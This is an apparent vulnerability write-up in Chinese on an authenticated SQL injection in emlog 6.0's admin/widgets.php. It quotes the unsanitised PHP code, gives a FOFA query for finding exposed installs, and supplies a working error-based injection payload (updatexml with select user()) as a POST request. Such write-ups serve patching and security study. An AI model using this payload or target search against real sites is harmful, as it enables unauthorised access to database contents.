2022-05-18 16:23:08 +08:00
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# emlog widgets.php 后台SQL注入漏洞
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## 漏洞描述
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emlog widgets.php文件在登录后通过构造特殊语句导致SQL注入，获取数据库敏感信息
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## 漏洞影响
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```
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emlog 6.0
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```
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## FOFA
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```
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app="EMLOG"
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```
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## 漏洞复现
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产品主页：https://github.com/emlog/emlog
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2022-12-05 11:09:28 +08:00
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2022-05-18 16:23:08 +08:00
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存在漏洞的文件为 `admin/widgets.php`
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2022-12-05 11:09:28 +08:00
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2022-05-18 16:23:08 +08:00
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```
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if ($action == 'compages') {
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$wgNum = isset($_POST['wgnum']) ? intval($_POST['wgnum']) : 1;//侧边栏编号 1、2、3 ……
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$widgets = isset($_POST['widgets']) ? serialize($_POST['widgets']) : '';
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Option::updateOption("widgets{$wgNum}", $widgets);
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$CACHE->updateCache('options');
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emDirect("./widgets.php?activated=true&wg=$wgNum");
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}
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```
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传参为 wgnum 和 widgets ，跟踪方法 `updateOption`
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2022-12-05 11:09:28 +08:00
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2022-05-18 16:23:08 +08:00
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```
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static function updateOption($name, $value, $isSyntax = false){
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$DB = Database::getInstance();
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$value = $isSyntax ? $value : "'$value'";
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$DB->query('UPDATE '.DB_PREFIX."options SET option_value=$value where option_name='$name'");
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}
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```
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可以发现对传入的参数木有进行过滤，构造Payload
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```
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POST /admin/widgets.php?action=compages
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widgets=1' and updatexml(0x3a,concat(1,(select user())),1)--
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```
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调试后可以发现，数据库报错语句会回显至页面中，报错注入即可获取敏感信息
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2022-12-05 11:09:28 +08:00
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2022-05-18 16:23:08 +08:00
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2022-12-05 11:09:28 +08:00
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